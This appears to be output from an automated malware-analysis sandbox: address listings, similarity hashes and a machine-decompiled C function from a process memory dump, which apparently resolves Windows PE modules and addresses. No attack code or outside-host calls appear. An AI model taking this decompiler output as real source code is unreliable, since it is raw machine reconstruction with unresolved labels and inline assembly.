0x012e57e0
0x012e57e4
0x012e57ea
0x00000000
0x00000000
0x00000000
0x012e57ea
0x012a20f4
0x012a20f4
0x012a20f8
0x012a20f8
0x012a20fc
0x012a2100
0x012a2106
0x012a2201
0x012a2206
0x012a220b
0x012a220e
0x012a22a9
0x012a22ac
0x00000000
0x00000000
0x012a22b2
0x012a22b5
0x012e5801
0x012e5806
0x00000000
0x00000000
0x012e5810
0x012e5815
0x012e5818
0x00000000
0x00000000
0x012e581e
0x012a22bb
0x012a22bb
0x012a2218
0x012a2218
0x012a221c
0x012a2220
0x012a2222
0x012a22c2
0x012a22c4
0x012a22dc
0x012a22dc
0x012a22e1
0x00000000
0x00000000
0x00000000
0x012a22e7
0x012a22c8
0x012a22cd
0x012a22d3
0x012a22d6
0x012e5823
0x012e5825
0x012e5827
0x00000000
0x00000000
0x012e582d
0x00000000
0x012e582d
0x00000000
0x012a2228
0x012a2228
0x00000000
0x012a2228
0x012a2222
0x012a2214
0x012a2214
0x00000000
0x012a2114
0x012a2114
0x012a2114
0x012a211a
0x012a211c
0x012a2348
0x012a234d
0x012e5840
0x012e5845
0x012e5848
0x012e584e
0x012e584e
0x012e5848
0x012a2353
0x012a2355
0x012a2388
0x012a2388
0x012a2368
0x012a236a
0x012a236c
0x012a238f
0x00000000
0x012a236e
0x012a236e
0x012a218e
0x012a218e
0x012a2191
0x012a2195
0x012e5a03
0x012e5a06
0x012e5a0c
0x012e5a0f
0x012e5a11
0x012e5a13
0x012e5a13
0x012e5a19
0x012e5a1f
0x00000000
0x012a219b
0x012a219b
0x012a21a0
0x012a2282
0x012a2284
0x012a2284
0x012a2284
0x012a2284
0x012a21a6
0x012a21a9
0x012a21ac
0x012a21ae
0x012a21b3
0x012a228b
0x012a2290
0x012a2379
0x012a2296
0x012a2298
0x012a2298
0x012a2290
0x012a21b9
0x012a21be
0x012a22a2
0x012a22a2
0x012a21c4
0x012a21c8
0x012a21cc
0x012a21d0
0x012a21d4
0x012a21de
0x012a21e3
0x012e5a29
0x012e5a2c
0x00000000
0x00000000
0x012e5a3b
0x00000000
0x012a21e9
0x012a21e9
0x012a21e9
0x012a21ee
0x012a21f1
0x012e5a45
0x012e5a4b
0x012e5a52
0x012e5a58
0x012e5a5d
0x012e5a5f
0x012e5a71
0x012e5a61
0x012e5a6a
0x012e5a6a
0x012e5a76
0x012e5a79
0x012e5a7f
0x012e5a83
0x012e5a85
0x012e5a87
0x012e5a87
0x012e5a8c
0x012e5a91
0x012e5a97
0x012e5a9f
0x012e5aa0
0x012e5aa1
0x012e5aa6
0x012e5aab
0x012e5ab1
0x012e5ab3
0x012e5ab9
0x012e5aca
0x012e5ad4
0x012e5ad4
0x012e5ade
0x012e5ade
0x012e5aab
0x012e5a79
0x012e5a52
0x012a21f7
0x012a21f9
0x012a21fe
0x012a21fe
0x012a21e3
0x012a2195
0x012a236c
0x012a2122
0x012a2122
0x012a2124
0x012a2231
0x012a2236
0x012a2236
0x012a2238
0x012a2238
0x012a2240
0x012a2242
0x012a2244
0x012e59fc
0x012a218c
0x012a218c
0x00000000
0x012a218c
0x012a224a
0x012a224f
0x012a2256
0x012a2304
0x012a2309
0x012a230f
0x012a231e
0x012a231e
0x012a231e
0x012a2320
0x012a2325
0x012a232a
0x012a232c
0x012a233e
0x012a233e
0x00000000
0x012a232c
0x012a2311
0x012a2317
0x012a231a
0x012a231c
0x012a2380
0x012a2380
0x012a2380
0x012a2384
0x00000000
0x00000000
0x012a2386
0x00000000
0x012a231c
0x012a225c
0x012a225c
0x00000000
0x012a225c
0x012a212a
0x012a2134
0x012a2138
0x012a213d
0x012e5858
0x012e5863
0x012e5863
0x012e5867
0x012e586a
0x00000000
0x00000000
0x012e586c
0x012e586c
0x012e5871
0x012e5875
0x012e5877
0x012e5997
0x012e599c
0x012e59a1
0x012e59a7
0x012e59a7
0x00000000
0x012e59a7
0x012e587d
0x00000000
0x012e588b
0x012e588b
0x012e5890
0x012e5892
0x012e5894
0x012e5899
0x012e589b
0x012e58a0
0x012e58a0
0x012e58aa
0x012e58b2
0x012e58b6
0x012e58be
0x012e58c6
0x012e58c9
0x012e590d
0x012e5917
0x012e591a
0x012e591c
0x012e5920
0x012e5928
0x012e592a
0x012e592c
0x012e592e
0x012e592e
0x012e58cb
0x012e58cd
0x012e58d8
0x012e58e0
0x012e58f4
0x012e58fe
0x012e58fe
0x012e593a
0x012e593e
0x012e5940
0x012e5942
0x00000000
0x012e5944
0x012e5944
0x012e5949
0x012e594e
0x012e594e
0x012e5953
0x012e595b
0x012e5976
0x012e5976
0x012e597a
0x012e597f
0x00000000
0x00000000
0x00000000
0x00000000
0x012e5981
0x012e5981
0x012e5981
0x012e5983
0x012e5988
0x012e598d
0x012e5991
0x012e5991
0x00000000
0x012e595d
0x012e595d
0x012e5963
0x012e5965
0x00000000
0x00000000
0x00000000
0x00000000
0x012e5967
0x012e5967
0x012e596b
0x012e596d
0x00000000
0x00000000
0x012e596f
0x012e5971
0x012e5971
0x012e5974
0x00000000
0x00000000
0x00000000
0x012e5974
0x00000000
0x012e5967
0x012e595b
0x012e5942
0x012e5863
0x012a2143
0x012a2143
0x012a2149
0x012a214f
0x012a22f1
0x012a22f6
0x00000000
0x012a2173
0x012a2173
0x012a217d
0x012a2181
0x012a2186
0x012e59ae
0x012e59b2
0x012e59b5
0x012e59b7
0x012e59ba
0x012e59cd
0x012e59d1
0x012e59d5
0x012e59d9
0x012e59db
0x00000000
0x00000000
0x012e59dd
0x012e59dd
0x012e59e1
0x012e59e4
0x012e59e7
0x012e59ee
0x012e59ee
0x012e59f3
0x012e59f3
0x00000000
0x012a2186
0x012a214f
0x012a2106
0x012a2266
0x012a20d8
0x012a20da
0x012a20e0
0x00000000
0x00000000
0x00000000

Memory Dump Source

Source File: 00000004.00000002.320829169.0000000001250000.00000040.00000001.sdmp, Offset: 01250000, based on PE: true

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8fae05c338202086fc658127836a9c5e4bf39f44946e36fef91e68b42eb8979b
Instruction ID: 18f917993fe27f69e11b46163414218ea86a98fcbd1215b16d73f10813f88596
Opcode Fuzzy Hash: 8fae05c338202086fc658127836a9c5e4bf39f44946e36fef91e68b42eb8979b
Instruction Fuzzy Hash: 2AF13435638342DFEB26CF2CC84476A7BE5AF85328F84851DEA958B391D774D840CB92

Uniqueness

Uniqueness Score: -1.00%

Function 0128D5E0, Relevance: .4, Instructions: 353
COMMONCrypto

Download Yara Rule

C-Code - Quality: 87%

			E0128D5E0(signed int _a4, signed int _a8, signed int _a12, intOrPtr* _a16, signed int _a20, signed int _a24) {
				signed int _v8;
				intOrPtr _v20;
				signed int _v36;
				intOrPtr* _v40;
				signed int _v44;
				signed int _v48;
				signed char _v52;
				signed int _v60;
				signed int _v64;
				signed int _v68;
				signed int _v72;
				signed int _v76;
				intOrPtr _v80;
				signed int _v84;
				intOrPtr _v100;
				intOrPtr _v104;
				signed int _v108;
				signed int _v112;
				signed int _v116;
				intOrPtr _v120;
				signed int _v132;
				char _v140;
				char _v144;
				char _v157;
				signed int _v164;
				signed int _v168;
				signed int _v169;
				intOrPtr _v176;
				signed int _v180;
				signed int _v184;
				intOrPtr _v188;
				signed int _v192;
				signed int _v200;
				signed int _v208;
				intOrPtr* _v212;
				char _v216;
				void* __ebx;
				void* __edi;
				void* __esi;
				void* __ebp;
				signed int _t204;
				void* _t208;
				signed int _t211;
				signed int _t216;
				intOrPtr _t217;
				intOrPtr* _t218;
				signed int _t226;
				signed int _t239;
				signed int* _t247;
				signed int _t249;
				void* _t252;
				signed int _t256;
				signed int _t269;
				signed int _t271;
				signed int _t277;
				signed int _t279;
				intOrPtr _t283;
				signed int _t287;
				signed int _t288;
				void* _t289;
				signed char _t290;
				signed int _t292;
				signed int* _t293;
				signed int _t306;
				signed int _t307;
				signed int _t308;
				signed int _t309;
				signed int _t310;
				intOrPtr _t311;
				intOrPtr _t312;
				signed int _t319;
				signed int _t320;
				signed int* _t324;
				signed int _t337;
				signed int _t338;
				signed int _t339;
				signed int* _t340;
				void* _t341;
				signed int _t344;
				signed int _t348;
				signed int _t349;
				signed int _t351;
				intOrPtr _t353;
				void* _t354;
				signed int _t356;
				signed int _t358;
				intOrPtr _t359;
				signed int _t363;
				signed short* _t365;
				void* _t367;
				intOrPtr _t369;
				void* _t370;
				signed int _t371;
				signed int _t372;
				void* _t374;
				signed int _t376;
				void* _t384;
				signed int _t387;

				_v8 =  *0x136d360 ^ _t376;
				_t2 =  &_a20;
				 *_t2 = _a20 & 0x00000001;
				_t287 = _a4;
				_v200 = _a12;
				_t365 = _a8;
				_v212 = _a16;
				_v180 = _a24;
				_v168 = 0;
				_v157 = 0;
				if( *_t2 != 0) {
					__eflags = E01286600(0x13652d8);
					if(__eflags == 0) {
						goto L1;
					} else {
						_v188 = 6;
					}
				} else {
					L1:
					_v188 = 9;
				}
				if(_t365 == 0) {
					_v164 = 0;
					goto L5;
				} else {
					_t363 =  *_t365 & 0x0000ffff;
					_t341 = _t363 + 1;
					if((_t365[1] & 0x0000ffff) < _t341) {
						L109:
						__eflags = _t341 - 0x80;
						if(_t341 <= 0x80) {
							_t281 =  &_v140;
							_v164 =  &_v140;
							goto L114;
						} else {
							_t283 =  *0x1367b9c; // 0x0
							_t281 = L01294620(_t341,  *((intOrPtr*)( *[fs:0x30] + 0x18)), _t283 + 0x180000, _t341);
							_v164 = _t281;
							__eflags = _t281;
							if(_t281 != 0) {
								_v157 = 1;
								L114:
								E012BF3E0(_t281, _t365[2], _t363);
								_t200 = _v164;
								 *((char*)(_v164 + _t363)) = 0;
								goto L5;
							} else {
								_t204 = 0xc000009a;
								goto L47;
							}
						}
					} else {
						_t200 = _t365[2];
						_v164 = _t200;
						if( *((char*)(_t200 + _t363)) != 0) {
							goto L109;
						} else {
							while(1) {
								L5:
								_t353 = 0;
								_t342 = 0x1000;
								_v176 = 0;
								if(_t287 == 0) {
									break;
								}
								_t384 = _t287 -  *0x1367b90; // 0x772a0000
								if(_t384 == 0) {
									_t353 =  *0x1367b8c; // 0xd42b30
									_v176 = _t353;
									_t320 = ( *(_t353 + 0x50))[8];
									_v184 = _t320;
								} else {
									E01292280(_t200, 0x13684d8);
									_t277 =  *0x13685f4; // 0xd43020
									_t351 =  *0x13685f8 & 1;
									while(_t277 != 0) {
										_t337 =  *(_t277 - 0x50);
										if(_t337 > _t287) {
											_t338 = _t337 | 0xffffffff;
										} else {
											asm("sbb ecx, ecx");
											_t338 =  ~_t337;
										}
										_t387 = _t338;
										if(_t387 < 0) {
											_t339 =  *_t277;
											__eflags = _t351;
											if(_t351 != 0) {
												__eflags = _t339;
												if(_t339 == 0) {
													goto L16;
												} else {
													goto L118;
												}
												goto L151;
											} else {
												goto L16;
											}
											goto L17;
										} else {
											if(_t387 <= 0) {
												__eflags = _t277;
												if(_t277 != 0) {
													_t340 =  *(_t277 - 0x18);
													_t24 = _t277 - 0x68; // 0xd42fb8
													_t353 = _t24;
													_v176 = _t353;
													__eflags = _t340[3] - 0xffffffff;
													if(_t340[3] != 0xffffffff) {
														_t279 =  *_t340;
														__eflags =  *(_t279 - 0x20) & 0x00000020;
														if(( *(_t279 - 0x20) & 0x00000020) == 0) {
															asm("lock inc dword [edi+0x9c]");
															_t340 =  *(_t353 + 0x50);
														}
													}
													_v184 = _t340[8];
												}
											} else {
												_t339 =  *(_t277 + 4);
												if(_t351 != 0) {
													__eflags = _t339;
													if(_t339 == 0) {
														goto L16;
													} else {
														L118:
														_t277 = _t277 ^ _t339;
														goto L17;
													}
													goto L151;
												} else {
													L16:
													_t277 = _t339;
												}
												goto L17;
											}
										}
										goto L25;
										L17:
									}
									L25:
									E0128FFB0(_t287, _t353, 0x13684d8);
									_t320 = _v184;
									_t342 = 0x1000;
								}
								if(_t353 == 0) {
									break;
								} else {
									_t366 = 0;
									if(( *( *[fs:0x18] + 0xfca) & _t342) != 0 || _t320 >= _v188) {
										_t288 = _v164;
										if(_t353 != 0) {
											_t342 = _t288;
											_t374 = E012CCC99(_t353, _t288, _v200, 1,  &_v168);
											if(_t374 >= 0) {
												if(_v184 == 7) {
													__eflags = _a20;
													if(__eflags == 0) {
														__eflags =  *( *[fs:0x18] + 0xfca) & 0x00001000;
														if(__eflags != 0) {
															_t271 = E01286600(0x13652d8);
															__eflags = _t271;
															if(__eflags == 0) {
																_t342 = 0;
																_v169 = _t271;
																_t374 = E01287926( *(_t353 + 0x50), 0,  &_v169);
															}
														}
													}
												}
												if(_t374 < 0) {
													_v168 = 0;
												} else {
													if( *0x136b239 != 0) {
														_t342 =  *(_t353 + 0x18);
														E012FE974(_v180,  *(_t353 + 0x18), __eflags, _v168, 0,  &_v168);
													}
													if( *0x1368472 != 0) {
														_v192 = 0;
														_t342 =  *0x7ffe0330;
														asm("ror edi, cl");
														 *0x136b1e0( &_v192, _t353, _v168, 0, _v180);
														 *( *0x136b218 ^  *0x7ffe0330)();
														_t269 = _v192;
														_t353 = _v176;
														__eflags = _t269;
														if(__eflags != 0) {
															_v168 = _t269;
														}
													}
												}
											}
											if(_t374 == 0xc0000135 || _t374 == 0xc0000142) {
												_t366 = 0xc000007a;
											}
											_t247 =  *(_t353 + 0x50);
											if(_t247[3] == 0xffffffff) {
												L40:
												if(_t366 == 0xc000007a) {
													__eflags = _t288;
													if(_t288 == 0) {
														goto L136;
													} else {
														_t366 = 0xc0000139;
													}
													goto L54;
												}
											} else {
												_t249 =  *_t247;
												if(( *(_t249 - 0x20) & 0x00000020) != 0) {
													goto L40;
												} else {
													_t250 = _t249 | 0xffffffff;
													asm("lock xadd [edi+0x9c], eax");
													if((_t249 | 0xffffffff) == 0) {
														E01292280(_t250, 0x13684d8);
														_t342 =  *(_t353 + 0x54);
														_t165 = _t353 + 0x54; // 0x54
														_t252 = _t165;
														__eflags =  *(_t342 + 4) - _t252;
														if( *(_t342 + 4) != _t252) {
															L135:
															asm("int 0x29");
															L136:
															_t288 = _v200;
															_t366 = 0xc0000138;
															L54:
															_t342 = _t288;
															L012B3898(0, _t288, _t366);
														} else {
															_t324 =  *(_t252 + 4);
															__eflags =  *_t324 - _t252;
															if( *_t324 != _t252) {
																goto L135;
															} else {
																 *_t324 = _t342;
																 *(_t342 + 4) = _t324;
																_t293 =  *(_t353 + 0x50);
																_v180 =  *_t293;
																E0128FFB0(_t293, _t353, 0x13684d8);
																__eflags =  *((short*)(_t353 + 0x3a));
																if( *((short*)(_t353 + 0x3a)) != 0) {
																	_t342 = 0;
																	__eflags = 0;
																	E012B37F5(_t353, 0);
																}
																E012B0413(_t353);
																_t256 =  *(_t353 + 0x48);
																__eflags = _t256;
																if(_t256 != 0) {
																	__eflags = _t256 - 0xffffffff;
																	if(_t256 != 0xffffffff) {
																		E012A9B10(_t256);
																	}
																}
																__eflags =  *(_t353 + 0x28);
																if( *(_t353 + 0x28) != 0) {
																	_t174 = _t353 + 0x24; // 0x24
																	E012A02D6(_t174);
																}
																L012977F0( *0x1367b98, 0, _t353);
																__eflags = _v180 - _t293;
																if(__eflags == 0) {
																	E012AC277(_t293, _t366);
																}
																_t288 = _v164;
																goto L40;
															}
														}
													} else {
														goto L40;
													}
												}
											}
										}
									} else {
										L0128EC7F(_t353);
										L012A19B8(_t287, 0, _t353, 0);
										_t200 = E0127F4E3(__eflags);
										continue;
									}
								}
								L41:
								if(_v157 != 0) {
									L012977F0( *((intOrPtr*)( *[fs:0x30] + 0x18)), 0, _t288);
								}
								if(_t366 < 0 || ( *0x136b2f8 |  *0x136b2fc) == 0 || ( *0x136b2e4 & 0x00000001) != 0) {
									L46:
									 *_v212 = _v168;
									_t204 = _t366;
									L47:
									_pop(_t354);
									_pop(_t367);
									_pop(_t289);
									return E012BB640(_t204, _t289, _v8 ^ _t376, _t342, _t354, _t367);
								} else {
									_v200 = 0;
									if(( *0x136b2ec >> 0x00000008 & 0x00000003) == 3) {
										_t355 = _v168;
										_t342 =  &_v208;
										_t208 = E01326B68(_v168,  &_v208, _v168, __eflags);
										__eflags = _t208 - 1;
										if(_t208 == 1) {
											goto L46;
										} else {
											__eflags = _v208 & 0x00000010;
											if((_v208 & 0x00000010) == 0) {
												goto L46;
											} else {
												_t342 = 4;
												_t366 = E01326AEB(_t355, 4,  &_v216);
												__eflags = _t366;
												if(_t366 >= 0) {
													goto L46;
												} else {
													asm("int 0x29");
													_t356 = 0;
													_v44 = 0;
													_t290 = _v52;
													__eflags = 0;
													if(0 == 0) {
														L108:
														_t356 = 0;
														_v44 = 0;
														goto L63;
													} else {
														__eflags = 0;
														if(0 < 0) {
															goto L108;
														}
														L63:
														_v112 = _t356;
														__eflags = _t356;
														if(_t356 == 0) {
															L143:
															_v8 = 0xfffffffe;
															_t211 = 0xc0000089;
														} else {
															_v36 = 0;
															_v60 = 0;
															_v48 = 0;
															_v68 = 0;
															_v44 = _t290 & 0xfffffffc;
															E0128E9C0(1, _t290 & 0xfffffffc, 0, 0,  &_v68);
															_t306 = _v68;
															__eflags = _t306;
															if(_t306 == 0) {
																_t216 = 0xc000007b;
																_v36 = 0xc000007b;
																_t307 = _v60;
															} else {
																__eflags = _t290 & 0x00000001;
																if(__eflags == 0) {
																	_t349 =  *(_t306 + 0x18) & 0x0000ffff;
																	__eflags = _t349 - 0x10b;
																	if(_t349 != 0x10b) {
																		__eflags = _t349 - 0x20b;
																		if(_t349 == 0x20b) {
																			goto L102;
																		} else {
																			_t307 = 0;
																			_v48 = 0;
																			_t216 = 0xc000007b;
																			_v36 = 0xc000007b;
																			goto L71;
																		}
																	} else {
																		L102:
																		_t307 =  *(_t306 + 0x50);
																		goto L69;
																	}
																	goto L151;
																} else {
																	_t239 = L0128EAEA(_t290, _t290, _t356, _t366, __eflags);
																	_t307 = _t239;
																	_v60 = _t307;
																	_v48 = _t307;
																	__eflags = _t307;
																	if(_t307 != 0) {
																		L70:
																		_t216 = _v36;
																	} else {
																		_push(_t239);
																		_push(0x14);
																		_push( &_v144);
																		_push(3);
																		_push(_v44);
																		_push(0xffffffff);
																		_t319 = E012B9730();
																		_v36 = _t319;
																		__eflags = _t319;
																		if(_t319 < 0) {
																			_t216 = 0xc000001f;
																			_v36 = 0xc000001f;
																			_t307 = _v60;
																		} else {
																			_t307 = _v132;
																			L69:
																			_v48 = _t307;
																			goto L70;
																		}
																	}
																}
															}
															L71:
															_v72 = _t307;
															_v84 = _t216;
															__eflags = _t216 - 0xc000007b;
															if(_t216 == 0xc000007b) {
																L150:
																_v8 = 0xfffffffe;
																_t211 = 0xc000007b;
															} else {
																_t344 = _t290 & 0xfffffffc;
																_v76 = _t344;
																__eflags = _v40 - _t344;
																if(_v40 <= _t344) {
																	goto L150;
																} else {
																	__eflags = _t307;
																	if(_t307 == 0) {
																		L75:
																		_t217 = 0;
																		_v104 = 0;
																		__eflags = _t366;
																		if(_t366 != 0) {
																			__eflags = _t290 & 0x00000001;
																			if((_t290 & 0x00000001) != 0) {
																				_t217 = 1;
																				_v104 = 1;
																			}
																			_t290 = _v44;
																			_v52 = _t290;
																		}
																		__eflags = _t217 - 1;
																		if(_t217 != 1) {
																			_t369 = 0;
																			_t218 = _v40;
																			goto L91;
																		} else {
																			_v64 = 0;
																			E0128E9C0(1, _t290, 0, 0,  &_v64);
																			_t309 = _v64;
																			_v108 = _t309;
																			__eflags = _t309;
																			if(_t309 == 0) {
																				goto L143;
																			} else {
																				_t226 =  *(_t309 + 0x18) & 0x0000ffff;
																				__eflags = _t226 - 0x10b;
																				if(_t226 != 0x10b) {
																					__eflags = _t226 - 0x20b;
																					if(_t226 != 0x20b) {
																						goto L143;
																					} else {
																						_t371 =  *(_t309 + 0x98);
																						goto L83;
																					}
																				} else {
																					_t371 =  *(_t309 + 0x88);
																					L83:
																					__eflags = _t371;
																					if(_t371 != 0) {
																						_v80 = _t371 - _t356 + _t290;
																						_t310 = _v64;
																						_t348 = _t310 + 0x18 + ( *(_t309 + 0x14) & 0x0000ffff);
																						_t292 =  *(_t310 + 6) & 0x0000ffff;
																						_t311 = 0;
																						__eflags = 0;
																						while(1) {
																							_v120 = _t311;
																							_v116 = _t348;
																							__eflags = _t311 - _t292;
																							if(_t311 >= _t292) {
																								goto L143;
																							}
																							_t359 =  *((intOrPtr*)(_t348 + 0xc));
																							__eflags = _t371 - _t359;
																							if(_t371 < _t359) {
																								L98:
																								_t348 = _t348 + 0x28;
																								_t311 = _t311 + 1;
																								continue;
																							} else {
																								__eflags = _t371 -  *((intOrPtr*)(_t348 + 0x10)) + _t359;
																								if(_t371 >=  *((intOrPtr*)(_t348 + 0x10)) + _t359) {
																									goto L98;
																								} else {
																									__eflags = _t348;
																									if(_t348 == 0) {
																										goto L143;
																									} else {
																										_t218 = _v40;
																										_t312 =  *_t218;
																										__eflags = _t312 -  *((intOrPtr*)(_t348 + 8));
																										if(_t312 >  *((intOrPtr*)(_t348 + 8))) {
																											_v100 = _t359;
																											_t360 = _v108;
																											_t372 = L01288F44(_v108, _t312);
																											__eflags = _t372;
																											if(_t372 == 0) {
																												goto L143;
																											} else {
																												_t290 = _v52;
																												_t369 = _v80 +  *((intOrPtr*)(_t372 + 0xc)) - _v100 + _v112 - E012B3C00(_t360, _t290,  *((intOrPtr*)(_t372 + 0xc)));
																												_t307 = _v72;
																												_t344 = _v76;
																												_t218 = _v40;
																												goto L91;
																											}
																										} else {
																											_t290 = _v52;
																											_t307 = _v72;
																											_t344 = _v76;
																											_t369 = _v80;
																											L91:
																											_t358 = _a4;
																											__eflags = _t358;
																											if(_t358 == 0) {
																												L95:
																												_t308 = _a8;
																												__eflags = _t308;
																												if(_t308 != 0) {
																													 *_t308 =  *((intOrPtr*)(_v40 + 4));
																												}
																												_v8 = 0xfffffffe;
																												_t211 = _v84;
																											} else {
																												_t370 =  *_t218 - _t369 + _t290;
																												 *_t358 = _t370;
																												__eflags = _t370 - _t344;
																												if(_t370 <= _t344) {
																													L149:
																													 *_t358 = 0;
																													goto L150;
																												} else {
																													__eflags = _t307;
																													if(_t307 == 0) {
																														goto L95;
																													} else {
																														__eflags = _t370 - _t344 + _t307;
																														if(_t370 >= _t344 + _t307) {
																															goto L149;
																														} else {
																															goto L95;
																														}
																													}
																												}
																											}
																										}
																									}
																								}
																							}
																							goto L97;
																						}
																					}
																					goto L143;
																				}
																			}
																		}
																	} else {
																		__eflags = _v40 - _t307 + _t344;
																		if(_v40 >= _t307 + _t344) {
																			goto L150;
																		} else {
																			goto L75;
																		}
																	}
																}
															}
														}
														L97:
														 *[fs:0x0] = _v20;
														return _t211;
													}
												}
											}
										}
									} else {
										goto L46;
									}
								}
								goto L151;
							}
							_t288 = _v164;
							_t366 = 0xc0000135;
							goto L41;
						}
					}
				}
				L151:
			}

0x0128d5f2
0x0128d5f5
0x0128d5f5
0x0128d5fd
0x0128d600
0x0128d60a
0x0128d60d
0x0128d617
0x0128d61d
0x0128d627
0x0128d62e
0x0128d911
0x0128d913
0x00000000
0x0128d919
0x0128d919
0x0128d919
0x0128d634
0x0128d634
0x0128d634
0x0128d634
0x0128d640
0x0128d8bf
0x00000000
0x0128d646
0x0128d646
0x0128d64d
0x0128d652
0x012db2fc
0x012db2fc
0x012db302
0x012db33b
0x012db341
0x00000000
0x012db304
0x012db304
0x012db319
0x012db31e
0x012db324
0x012db326
0x012db332
0x012db347
0x012db34c
0x012db351
0x012db35a
0x00000000
0x012db328
0x012db328
0x00000000
0x012db328
0x012db326
0x0128d658
0x0128d658
0x0128d65b
0x0128d665
0x00000000
0x0128d66b
0x0128d66b
0x0128d66b
0x0128d66b
0x0128d66d
0x0128d672
0x0128d67a
0x00000000
0x00000000
0x0128d680
0x0128d686
0x0128d8ce
0x0128d8d4
0x0128d8dd
0x0128d8e0
0x0128d68c
0x0128d691
0x0128d69d
0x0128d6a2
0x0128d6a7
0x0128d6b0
0x0128d6b5
0x0128d6e0
0x0128d6b7
0x0128d6b7
0x0128d6b9
0x0128d6b9
0x0128d6bb
0x0128d6bd
0x0128d6ce
0x0128d6d0
0x0128d6d2
0x012db363
0x012db365
0x00000000
0x012db36b
0x00000000
0x012db36b
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x0128d6bf
0x0128d6bf
0x0128d6e5
0x0128d6e7
0x0128d6e9
0x0128d6ec
0x0128d6ec
0x0128d6ef
0x0128d6f5
0x0128d6f9
0x0128d6fb
0x0128d6fd
0x0128d701
0x0128d703
0x0128d70a
0x0128d70a
0x0128d701
0x0128d710
0x0128d710
0x0128d6c1
0x0128d6c1
0x0128d6c6
0x012db36d
0x012db36f
0x00000000
0x012db375
0x012db375
0x012db375
0x00000000
0x012db375
0x00000000
0x0128d6cc
0x0128d6d8
0x0128d6d8
0x0128d6d8
0x00000000
0x0128d6c6
0x0128d6bf
0x00000000
0x0128d6da
0x0128d6da
0x0128d716
0x0128d71b
0x0128d720
0x0128d726
0x0128d726
0x0128d72d
0x00000000
0x0128d733
0x0128d739
0x0128d742
0x0128d750
0x0128d758
0x0128d764
0x0128d776
0x0128d77a
0x0128d783
0x0128d928
0x0128d92c
0x0128d93d
0x0128d944
0x0128d94f
0x0128d954
0x0128d956
0x0128d95f
0x0128d961
0x0128d973
0x0128d973
0x0128d956
0x0128d944
0x0128d92c
0x0128d78b
0x012db394
0x0128d791
0x0128d798
0x012db3a3
0x012db3bb
0x012db3bb
0x0128d7a5
0x0128d866
0x0128d870
0x0128d892
0x0128d898
0x0128d89e
0x0128d8a0
0x0128d8a6
0x0128d8ac
0x0128d8ae
0x0128d8b4
0x0128d8b4
0x0128d8ae
0x0128d7a5
0x0128d78b
0x0128d7b1
0x012db3c5
0x012db3c5
0x0128d7c3
0x0128d7ca
0x0128d7e5
0x0128d7eb
0x0128d8eb
0x0128d8ed
0x00000000
0x0128d8f3
0x0128d8f3
0x0128d8f3
0x00000000
0x0128d8ed
0x0128d7cc
0x0128d7cc
0x0128d7d2
0x00000000
0x0128d7d4
0x0128d7d4
0x0128d7d7
0x0128d7df
0x012db3d4
0x012db3d9
0x012db3dc
0x012db3dc
0x012db3df
0x012db3e2
0x012db468
0x012db46d
0x012db46f
0x012db46f
0x012db475
0x0128d8f8
0x0128d8f9
0x0128d8fd
0x012db3e8
0x012db3e8
0x012db3eb
0x012db3ed
0x00000000
0x012db3ef
0x012db3ef
0x012db3f1
0x012db3f4
0x012db3fe
0x012db404
0x012db409
0x012db40e
0x012db410
0x012db410
0x012db414
0x012db414
0x012db41b
0x012db420
0x012db423
0x012db425
0x012db427
0x012db42a
0x012db42d
0x012db42d
0x012db42a
0x012db432
0x012db436
0x012db438
0x012db43b
0x012db43b
0x012db449
0x012db44e
0x012db454
0x012db458
0x012db458
0x012db45d
0x00000000
0x012db45d
0x012db3ed
0x00000000
0x00000000
0x00000000
0x0128d7df
0x0128d7d2
0x0128d7ca
0x012db37c
0x012db37e
0x012db385
0x012db38a
0x00000000
0x012db38a
0x0128d742
0x0128d7f1
0x0128d7f8
0x012db49b
0x012db49b
0x0128d800
0x0128d837
0x0128d843
0x0128d845
0x0128d847
0x0128d84a
0x0128d84b
0x0128d84e
0x0128d857
0x0128d818
0x0128d824
0x0128d831
0x012db4a5
0x012db4ab
0x012db4b3
0x012db4b8
0x012db4bb
0x00000000
0x012db4c1
0x012db4c1
0x012db4c8
0x00000000
0x012db4ce
0x012db4d4
0x012db4e1
0x012db4e3
0x012db4e5
0x00000000
0x012db4eb
0x012db4f0
0x012db4f2
0x0128dac9
0x0128dacc
0x0128dacf
0x0128dad1
0x0128dd78
0x0128dd78
0x0128dcf2
0x00000000
0x0128dad7
0x0128dad9
0x0128dadb
0x00000000
0x00000000
0x0128dae1
0x0128dae1
0x0128dae4
0x0128dae6
0x012db4f9
0x012db4f9
0x012db500
0x0128daec
0x0128daec
0x0128daf5
0x0128daf8
0x0128dafb
0x0128db03
0x0128db11
0x0128db16
0x0128db19
0x0128db1b
0x012db52c
0x012db531
0x012db534
0x0128db21
0x0128db21
0x0128db24
0x0128dcd9
0x0128dce2
0x0128dce5
0x0128dd6a
0x0128dd6d
0x00000000
0x0128dd73
0x012db51a
0x012db51c
0x012db51f
0x012db524
0x00000000
0x012db524
0x0128dce7
0x0128dce7
0x0128dce7
0x00000000
0x0128dce7
0x00000000
0x0128db2a
0x0128db2c
0x0128db31
0x0128db33
0x0128db36
0x0128db39
0x0128db3b
0x0128db66
0x0128db66
0x0128db3d
0x0128db3d
0x0128db3e
0x0128db46
0x0128db47
0x0128db49
0x0128db4c
0x0128db53
0x0128db55
0x0128db58
0x0128db5a
0x012db50a
0x012db50f
0x012db512
0x0128db60
0x0128db60
0x0128db63
0x0128db63
0x00000000
0x0128db63
0x0128db5a
0x0128db3b
0x0128db24
0x0128db69
0x0128db69
0x0128db6c
0x0128db6f
0x0128db74
0x012db557
0x012db557
0x012db55e
0x0128db7a
0x0128db7c
0x0128db7f
0x0128db82
0x0128db85
0x00000000
0x0128db8b
0x0128db8b
0x0128db8d
0x0128db9b
0x0128db9b
0x0128db9d
0x0128dba0
0x0128dba2
0x0128dba4
0x0128dba7
0x0128dba9
0x0128dbae
0x0128dbae
0x0128dbb1
0x0128dbb4
0x0128dbb4
0x0128dbb7
0x0128dbba
0x0128dcd2
0x0128dcd4
0x00000000
0x0128dbc0
0x0128dbc0
0x0128dbd2
0x0128dbd7
0x0128dbda
0x0128dbdd
0x0128dbdf
0x00000000
0x0128dbe5
0x0128dbe5
0x0128dbee
0x0128dbf1
0x012db541
0x012db544
0x00000000
0x012db546
0x012db546
0x00000000
0x012db546
0x0128dbf7
0x0128dbf7
0x0128dbfd
0x0128dbfd
0x0128dbff
0x0128dc0b
0x0128dc15
0x0128dc1b
0x0128dc1d
0x0128dc21
0x0128dc21
0x0128dc23
0x0128dc23
0x0128dc26
